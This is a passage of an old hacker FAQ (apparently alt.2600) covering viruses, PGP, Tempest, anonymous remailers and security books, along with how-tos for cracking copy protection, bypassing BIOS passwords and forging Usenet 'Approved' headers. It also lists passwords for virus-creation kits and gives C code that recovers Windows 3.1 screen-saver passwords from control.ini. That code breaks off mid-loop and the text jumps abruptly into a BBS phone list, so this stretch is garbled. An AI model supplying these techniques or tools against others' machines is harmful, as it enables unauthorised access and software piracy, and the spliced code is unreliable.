Right now there are about 5600 known viruses.  New ones are written all
the time.  If you use a scanner for virus detection, you need to make
sure you get frequent updates.  If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners.  Keep in
mind that while these can supply added protection, they are not
foolproof.

You may want to use a particular kind of scanner, called resident
scanners.  Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs).  If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms.  Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you.  Make frequent backups of all important files.  Keep your DOS
system files write protected.  Write protect all disks that you do not
need to write to.  If you do get a virus, don't panic.  Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing.  If the company you got your
anti-virus software from does not have a good technical support
department, change companies.

The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally.  We discourage this. Viruses aren't
cool.

27.  Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time.  The most exciting/interesting
thing about viruses is all the controversy around them.  Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls.  You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there.  There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.

There are a lot of virus experts.  To become one, just call yourself
one.  Only Kidding.  Understanding viruses involves understanding
programming, operating systems, and their interaction.  Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ.  The FTP site ftp.informatik.uni-hamburg.de is a pretty
reliable site for programs and text.

28. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.

29. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations.  PGP is public key cryptography for the
masses.

30. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.

Computers and other electronic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until you
space them apart.

What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers.  The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas.  Conducted emissions are formed when radiation
is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project a
target was working on.  We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor.  These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer
away.

A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency.  For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc...  By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions.  However, Tempest
equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping.  Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified).  This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.

31. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to
send e-mail or post messages to Usenet anonymously.

There are two sorts of remailers in widespread use.  The first is the
anon.penet.fi style, the second is the cypherpunk style.  The remailer
at anon.penet.fi is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day.  Its main
advantage is that it's so easy to use.  The cypherpunks mailers, which
provide much better security, are becoming more popular, however, as
there is more awareness of them.

The user of the anon.penet.fi system first needs to get an anonymous id.
This is done either by sending mail to somebody who already has one (for
example, by replying to a post on Usenet), or sending mail to
ping@anon.penet.fi.  In either case, penet will mail back the new anon
id, which looks like an123456@anon.penet.fi.  If an123456 then sends
mail to another user of the system, then this is what happens:

1.  The mail is transported to anon.penet.fi, which resides somewhere in
    the vicinity of Espoo, Finland.

2.  These steps are carried out by software running on anon.penet.fi.
    Penet first looks up the email address of the sender in its
    database, then replaces it with the numeric code.  All other
    information about the sender is removed.

3.  Then, penet looks up the number of the recipient in the same
    database, and replaces it with the actual email address.

4.  Finally, it sends the mail to the actual email address of the
    recipient.

There are variations on this scheme, such as posting to Usenet (in which
step 3 is eliminated), but that's the basic idea.

Where anon.penet.fi uses a secret database to match anon id's to actual
email addresses, the cypherpunks remailers use cryptography to hide the
actual identities.  Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden.
To send it through one remailer, this is what happens.

1.  I encrypt the message and the recipient's address, using the public
    key of the remailer of my choice.

2.  I send the email to the remailer.

3.  When the remailer gets the mail, it decrypts it using its private
    key, revealing as plaintext the message and the recipient's address.

4.  All information about the sender is removed.

5.  Finally, it sends it to the recipient's email address.

If one trusts the remailer operator, this is good enough.  However, the
whole point of the cypherpunks remailers is that you don't _have_ to
trust any one individual or system.  So, people who want real security
use a chain of remailers.  If any one remailer on the "chain" is honest,
then the privacy of the message is assured.

To use a chain of remailers, I first have to prepare the message, which
is nestled within multiple layers of encryption, like a Russian
matryoshka doll.  Preparing such a message is tedious and error prone,
so many people use an automated tool such as my premail package.
Anyway, after preparing the message, it is sent to the first remailer in
the chain, which corresponds to the outermost layer of encryption.  Each
remailer strips off one layer of encryption and sends the message to the
next, until it reaches the final remailer.  At this point, only the
innermost layer of encryption remains.  This layer is stripped off,
revealing the plaintext message and recipient for the first time.  At
this point, the message is sent to its actual recipient.

Remailers exist in many locations.  A typical message might go through
Canada, Holland, Berkeley, and Finland before ending up at its final
location.

Aside from the difficulty of preparing all the encrypted messages,
another drawback of the cypherpunk remailers is that they don't easily
allow responses to anonymous mail.  All information about the sender is
stripped away, including any kind of return address.  However the new
alias servers promise to change that.  To use an alias server, one
creates a new email address (mine is raph@alpha.c2.org).  Mail sent to
this new address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple
layers of encryption.  Then, using an encrypted channel, one sends the
encrypted address to the alias server, along with the nickname that one
would like.  The alias server registers the encrypted address in the
database.  The alias server then handles reply mail in much the same way
as anon.penet.fi, except that the mail is forwarded to the chain of
anonymous remailers.

For maximum security, the user can arrange it so that, at each link in
the chain, the remailer adds another layer of encryption to the message
while removing one layer from the email address.  When the user finally
gets the email, it is encrypted in multiple layers.  The matryoshka has
to be opened one doll at a time until the plaintext message hidden
inside is revealed.

One other point is that the remailers must be reliable in order for all
this to work.  This is especially true when a chain of remailers is used
-- if any one of the remailers is not working, then the message will be
dropped.  This is why I maintain a list of reliable remailers. By
choosing reliable remailers to start with, there is a good chance the
message will finally get there.

32. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus.  To obtain an anonymous ID, mail
ping@anon.penet.fi.

The server at anon.penet.fi does it's best to remove any headers or
other information describing its true origin.  You should make an effort
and try to omit information detailing your identity within such messages
as quite often signatures not starting with "--" are including within
your e-mail, this of course is not what you want.  You can send messages
to:

        anXXX@anon.penet.fi

Here you are addressing another anonymous user and your E-Mail message
will appear to have originated from anon.penet.fi.

        alt.security@anon.penet.fi

Here you are posting an anonymous message to a whole Usenet group and in
this case to alt.security which will be posted at the local site (in
this case Finland).

        ping@anon.penet.fi

If you send a message to this address you will be allocated an identity
(assuming you don't already have one).  You can also confirm your
identity here as well.

You can also set yourself a password, this password helps to
authenticate any messages that you may send.  This password is included
in your outgoing messages, to set a password send E-Mail to
password@anon.penet.fi with your password in the body of your text e.g.:

        To: password@anon.penet.fi
        Subject:
        TN0_rUlEz

For more information on this anonymous server send mail to:

        help@anon.penet.fi

Anonymous Usenet posting is frowned upon by other users of Usenet groups
claiming their opinions are worthless.  This is because they believe
anonymity is used to shield ones self from attacks from opponents, while
on the other hand it can be used to protect ones self from social
prejudice (or people reporting ones opinions to ones superiors).  Also
if you are thinking this is a useful tool to use to hid against the
authorities then think again, as there was a famous case where a Judge
ordered the administrator of the server to reveal the identity of a
poster.

To see a comprehensive list on anonymous remailers finger
remailer-list@kiwi.cs.berkeley.edu or point your web browser to
http://www.cs.berkeley.edu/~raph/remailer-list.html

33. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It
also requires some knowledge of assembly language.  Load the protected
program under the debugger and watch for it to check the protection
mechanism.  When it does, change that portion of the code.  The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).  Or the code may simply be replaced with
NOP (No Operation) instructions.

34. What is 127.0.0.1?

127.0.0.1 is a loopback network connection.  If you telnet, ftp, etc...
to it you are connected to your own machine.

35. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies.  The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups."  Without the required
headers, your message will not be posted properly.

One of the optional headers is the "Approved" header.  To post to a
moderated newsgroup, simply add an Approved header line to your
message header.  The header line should contain the newsgroup
moderators e-mail address.  To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.

A "Approved" header line should look like this:

Approved: will@gnu.ai.mit.edu

There cannot not be a blank line in the message header.  A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of
USENET messages.

36. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway.  Send an a e-mail messages to
@.  For example, to post to alt.2600 through
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:

        group.name@news.demon.co.uk
        group.name@charm.magnus.acs.ohio-state.edu
        group.name@undergrad.math.uwaterloo.ca
        group.name@nic.funet.fi
        group.name.usenet@decwrl.dec.com

37. How do I defeat a BIOS password?

This depends on what BIOS the machine has.  Common BIOS's include AMI,
Award, IBM and Phoenix.  Numerous other BIOS's do exist, but these are
the most common.

Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere.  If you are
able to access the machine after it has been booted successfully, you
may be able to view the password.  You must know the memory address
where the password is stored, and the format in which the password is
stored.  Or, you must have a program that knows these things.

The most common BIOS password attack programs are for Ami BIOS.  Some
password attack programs will return the AMI BIOS password in plain
text, some will return it in ASCII codes, some will return it in scan
codes. This appears to be dependent not just on the password attacker,
but also  on the version of Ami BIOS.

To obtain Ami BIOS password attackers, ftp to oak.oakland.edu
/simtel/msdos/sysutil/.

If you cannot access the machine after if has been powered up, it is
still possible to get past the password.  The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard.  If you remove this
battery, all CMOS information will be lost.  You will need to re-enter
the correct CMOS setup information to use the machine.  The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove.  If this is the case, you have another
alternative.  Somewhere on the motherboard you should find a jumper that
will clear the BIOS password.  If you have the motherboard
documentation, you will know where that jumper is.  If not, the jumper
may be labeled on the motherboard.  If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper.  This jumper is usually standing alone near the
battery.

38. What is the password for ?

This FAQ answer was written by crypt 

 Magazine                        Password
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
 VLAD Magazine Issue #1          vlad
 VLAD Magazine Issue #2          vx
 VLAD Magazine Issue #3          virus
 NuKE InfoJournal Issue #2       514738
 NuKE InfoJournal Issue #3       power
 NuKE InfoJournal Issue #4       party

 Program
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
 Sphere Hacker 1.40 & 1.41       theozone
 Virus Creation 2000             high level
 Virus Construction Lab          Chiba City
 Ejecutor Virus Creator          EJECUTOR
 Biological Warfare v0.90        lo tek
 Biological Warfare v1.00        freak

39. Is there any hope of a decompiler that would convert an executable
    program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same.  For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue.  Code written for
clarity and understandability is often inefficient.  Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid.  The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization.  What then?  A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice.  At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules.  One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files).  How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file.  The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions.  A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights.  It's very
unlikely that decompiler output would even be as readable as shrouded
source.

40. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie 

The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this.  There are many
reasons why knowing the actual password can be useful.  Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password
and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.

First, the length of the password is saved.  We'll call this 'len'.  We
will be moving characters from the entered string into another string as
they are encrypted.  We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.'  The position in the plaintext is important during
the process so we'll refer to this as 'pos.'  After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.'  These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126.  I'll refer to this
checking operation as 'is_ok.'  All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'.  if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation.  The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid.  The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'.  This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1'  This
process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning.  Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for.  Here is some C code that will do
the dirty work for you:

#include 
#include 
#include 

int xor1(int i,int j)
{
  int x;

  x=i^j;
  return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Please enter the path to your Windows directory\n");
  gets(s1);
  sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
  if((f=fopen(s,"rt"))==NULL){
    printf("File Error : %s\n",sys_errlist[errno]);
    exit(0);
  }
  while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
  fclose(f);
  strtok(s1,"=\n");
  strcpy(s,strtok(NULL,"\n"));
  i=strlen(s)-1;
  for(l=i;l>-1;l--)
    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  for(l=0;l BBS    (719)578-8288   NUP=NO NUP
N The Edge of Reality           (805)496-7460
  Static Line                   (806)747-0802
  Area 51                       (908)526-4384
N The Drunk Forces              +972-3-5733477

09. What are some books of interest to hackers?

General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
  Computer Security Basics
  Author: Deborah Russell and G.T. Gengemi Sr.
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-71-4

        This is an excellent book.  It gives a broad overview of
        computer security without sacrificing detail.  A must read for
        the beginning security expert.

  Information Systems Security
  Author: Philip Fites and Martin Kratz
  Publisher: Van Nostrad Reinhold
  Copyright Date: 1993
  ISBN: 0-442-00180-0

  Computer Related Risks
  Author: Peter G. Neumann
  Publisher: Addison-Wesley
  Copyright Date: 1995
  ISBN: 0-201-55805-X

  Computer Security Management
  Author: Karen Forcht
  Publisher: boyd & fraser publishing company
  Copyright Date: 1994
  ISBN: 0-87835-881-1

  The Stephen Cobb Complete Book of PC and LAN Security
  Author: Stephen Cobb
  Publisher: Windcrest Books
  Copyright Date: 1992
  ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

  Security in Computing
  Author: Charles P. Pfleeger
  Publisher: Prentice Hall
  Copyright Date: 1989
  ISBN: 0-13-798943-1.

  Building a Secure Computer System
  Author: Morrie Gasser
  Publisher: Van Nostrand Reinhold Co., New York.
  Copyright Date:
  ISBN: 0-442-23022-2

  Modern Methods for Computer Security
  Author: Lance Hoffman
  Publisher: Prentice Hall
  Copyright Date: 1977
  ISBN:

  Windows NT 3.5 Guidelines for Security, Audit and Control
  Author:
  Publisher: Microsoft Press
  Copyright Date:
  ISBN: 1-55615-814-9

  Protection and Security on the Information Superhighway
  Author: Dr. Frederick B. Cohen)
  Publisher: John Wiley & Sons
  Copyright Date: 1995
  ISBN: 0-471-11389-1

N Commonsense Computer Security
  Author: Martin Smith
  Publisher: McGraw-Hill
  Copyright Date: 1993
  ISBN: 0-07-707805-5

N Combatting Computer Crime
  Author: Jerry Papke
  Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
  Copyright Date: 1992
  ISBN: 0-8306-7664-3

N Computer Crime: a Crimefighters Handbook
  Author: David Icove, Karl Seger and William VonStorch
  Publisher: O'Reilly & Associates
  Copyright Date: 1995
  ISBN: 1-56592-086-4

Unix System Security
~~~~~~~~~~~~~~~~~~~~
  Practical Unix Security
  Author: Simson Garfinkel and Gene Spafford
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-72-2

  Firewalls and Internet Security
  Author: William Cheswick and Steven Bellovin
  Publisher: Addison Wesley
  Copyright Date: 1994
  ISBN: 0-201-63357-4

  Unix System Security
  Author: Rik Farrow
  Publisher: Addison Wesley
  Copyright Date: 1991
  ISBN: 0-201-57030-0

  Unix Security: A Practical Tutorial
  Author: N. Derek Arnold
  Publisher: McGraw Hill
  Copyright Date: 1993
  ISBN: 0-07-002560-6

  Unix System Security: A Guide for Users and Systems Administrators
  Author: David A. Curry
  Publisher: Addison-Wesley
  Copyright Date: 1992
  ISBN: 0-201-56327-4

  Unix System Security
  Author: Patrick H. Wood and Stephen G. Kochan
  Publisher: Hayden Books
  Copyright Date: 1985
  ISBN: 0-672-48494-3

  Unix Security for the Organization
  Author: Richard Bryant
  Publisher: Sams
  Copyright Date: 1994
  ISBN: 0-672-30571-2

N Building Internet Firewalls
  Author: D. Brent Chapman and Elizabeth D. Zwicky
  Publisher: O'Reilly and Associates, Inc.
  Copyright Date: 1995
  ISBN: 1-56592-124-0

N Unix System Security Essentials
  Author: Christopher Braun
  Publisher: Addison Wesley
  Copyright Date: 1995
  ISBN: 0-201-42775-3

N Internet Firewalls and Network Security
  Author: Karanjit S. Siyan and Chris Hare
  Publisher: New Riders Publishing
  Copyright Date: 1995
  ISBN: 1-56205-437-6

Network Security
~~~~~~~~~~~~~~~~
  Network Security Secrets
  Author: David J. Stang and Sylvia Moon
  Publisher: IDG Books
  Copyright Date: 1993
  ISBN: 1-56884-021-7

        Not a total waste of paper, but definitely not worth the
        $49.95 purchase price.  The book is a rehash of previously
        published information.  The only secret we learn from reading
        the book is that Sylvia Moon is a younger woman madly in love
        with the older David Stang.

  Complete Lan Security and Control
  Author: Peter Davis
  Publisher: Windcrest / McGraw Hill
  Copyright Date: 1994
  ISBN: 0-8306-4548-9 and 0-8306-4549-7

  Network Security
  Author: Steven Shaffer and Alan Simon
  Publisher: AP Professional
  Copyright Date: 1994
  ISBN: 0-12-638010-4

N Network Security: How to Plan For It and How to Achieve It
  Author: Richard M. Baker
  Publisher: McGraw-Hill, Inc.
  Copyright Date:
  ISBN: 0-07-005141-0

N Network Security
  Author: Steven L. Shaffer and Alan R. Simon
  Publisher: Academic Press
  Copyright Date: 1994
  ISBN: 0-12-638010-4

N Network Security: Private Communications in a Public World
  Author: Charlie Kaufman, Radia Perlman and Mike Speciner
  Publisher: Prentice Hall
  Copyright Date: 1995
  ISBN: 0-13-061466-1

N Network and Internetwork Security: Principles and Practice
  Author: William Stallings
  Publisher: Prentice Hall
  Copyright Date: 1995
  ISBN: 0-02-415483-0

N Implementing Internet Security
  Author: William Stallings
  Publisher: New Rider Publishing
  Copyright Date: 1995
  ISBN: 1-56205-471-6

N Actually Useful Internet Security Techniques
  Author: Larry J. Hughes, Jr.
  Publisher: New Riders Publishing
  Copyright Date: 1995
  ISBN: 1-56205-508-9

Cryptology
~~~~~~~~~~~~
  Applied Cryptography: Protocols, Algorithms, and Source Code in C
  Author: Bruce Schneier
  Publisher: John Wiley & Sons
  Copyright Date: 1994
  ISBN: 0-471-59756-2

        Bruce Schneier's book replaces all other texts on
        cryptography.  If you are interested in cryptography, this is
        a must read.  This may be the first and last book on
        cryptography you may ever need to buy.

  Cryptography and Data Security
  Author: Dorothy Denning
  Publisher: Addison-Wesley Publishing Co.
  Copyright Date: 1982
  ISBN: 0-201-10150-5

  Protect Your Privacy: A Guide for PGP Users
  Author: William Stallings
  Publisher: Prentice-Hall
  Copyright Date: 1994
  ISBN: 0-13-185596-4

  Codebreakers
  Author: Kahn
  Publisher: Simon and Schuster
  Copyright Date:
  ISBN:0-02-560460-0

  Codebreakers: The Inside Story of Bletchley Park
  Author: Francis Harry Hinsley and Alan Stripp
  Publisher: Oxford University Press,
  Copyright Date: 1993
  ISBN:0-19-285304-X

  Cryptanalysis, a study of ciphers and their solution
  Author: Gaines, Helen Fouche
  Publisher: Dover Publications
  Copyright Date: 1956
  ISBN:

N Computer Privacy Handbook
  Author: Andre' Bacard
  Publisher: Peachpit Press
  Copyright Date: 1995
  ISBN: 1-56609-171-3

N E-Mail Security with PGP and PEM
  Author: Bruce Schneier
  Publisher: John Wiley & Sons
  Copyright Date: 1995
  ISBN: 0-471-05318-X

N PGP: Pretty Good Privacy
  Author: Simson Garfinkel
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1995
  ISBN: 1-56592-098-8

Programmed Threats
~~~~~~~~~~~~~~~~~~
  The Little Black Book of Computer Viruses
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1990
  ISBN: 0-929408-02-0

N The Giant Black Book of Computer Viruses
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1995
  ISBN:

  Computer Viruses, Artificial Life and Evolution
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1993
  ISBN: 0-929408-07-1

  Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
        Threats to Your System
  Author: John McAfee and Colin Haynes
  Publisher: St. Martin's Press
  Copyright Date: 1989
  ISBN: 0-312-03064-9 and 0-312-02889-X

  The Virus Creation Labs: A Journey Into the Underground
  Author: George Smith
  Publisher: American Eagle Publications
  Copyright Date: 1994
  ISBN: 0-929408-09-8

U A Short Course on Computer Viruses
  Author: Dr. Fred Cohen
  Publisher: John Wiley & Sons
  Copyright Date: 1994
  ISBN: 0-471-00769-2

N Robert Slade's Guide to Computer Viruses
  Author: Robert Slade
  Publisher: Springer-Verlag
  Copyright Date: 1994
  ISBN: 0-387-94311-0 / 3-540-94311-0

Telephony
~~~~~~~~~
  Engineering and Operations in the Bell System
  Author: R.F. Rey
  Publisher: Bell Telephont Laboratories
  Copyright Date: 1983
  ISBN: 0-932764-04-5

        Although hopelessly out of date, this book remains *THE* book
        on telephony.  This book is 100% Bell, and is loved by phreaks
        the world over.

  Telephony: Today and Tomorrow
  Author: Dimitris N. Chorafas
  Publisher: Prentice-Hall
  Copyright Date: 1984
  ISBN: 0-13-902700-9

  The Telecommunications Fact Book and Illustrated Dictionary
  Author: Ahmed S. Khan
  Publisher: Delmar Publishers, Inc.
  Copyright Date: 1992
  ISBN: 0-8273-4615-8

        I find this dictionary to be an excellent reference book on
        telephony, and I recommend it to anyone with serious
        intentions in the field.

  Tandy/Radio Shack Cellular Hardware
  Author: Judas Gerard and Damien Thorn
  Publisher: Phoenix Rising Communications
  Copyright Date: 1994
  ISBN:

  The Phone Book
  Author: Carl Oppendahl
  Publisher: Consumer Reports
  Copyright Date:
  ISBN: 0-89043-364-x

        Listing of every cellular ID in the us, plus roaming ports,
        and info numbers for each carrier.

  Principles of Caller I.D.
  Author:
  Publisher: International MicroPower Corp.
  Copyright Date:
  ISBN:

Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
  The Hacker Crackdown: Law and Disorder on the Electronic Frontier
  Author: Bruce Sterling
  Publisher: Bantam Books
  Copyright Date: 1982
  ISBN: 0-553-56370-X

        Bruce Sterling has recently released the book FREE to the net.
        The book is much easier to read in print form, and the
        paperback is only $5.99.  Either way you read it, you will be
        glad you did.  Mr. Sterling is an excellent science fiction
        author and has brought his talent with words to bear on the
        hacking culture.  A very enjoyable reading experience.

  Cyberpunk
  Author: Katie Hafner and John Markoff
  Publisher: Simon and Schuster
  Copyright Date: 1991
  ISBN: 0-671-77879-X

  The Cuckoo's Egg
  Author: Cliff Stoll
  Publisher: Simon and Schuster
  Copyright Date: 1989
  ISBN: 0-671-72688-9

  Hackers: Heroes of the Computer Revolution
  Author: Steven Levy
  Publisher: Doubleday
  Copyright Date: 1984
  ISBN: 0-440-13495-6

Unclassified
~~~~~~~~~~~~
  The Hacker's Handbook
  Author: Hugo Cornwall
  Publisher: E. Arthur Brown Company
  Copyright Date:
  ISBN: 0-912579-06-4

  Secrets of a Super Hacker
  Author: The Knightmare
  Publisher: Loompanics
  Copyright Date: 1994
  ISBN: 1-55950-106-5

        The Knightmare is no super hacker.  There is little or no real
        information in this book.  The Knightmare gives useful advice
        like telling you not to dress up before going trashing.
        The Knightmare's best hack is fooling Loompanics into
        publishing this garbage.

  The Day The Phones Stopped
  Author: Leonard Lee
  Publisher: Primus / Donald I Fine, Inc.
  Copyright Date: 1992
  ISBN: 1-55611-286-6

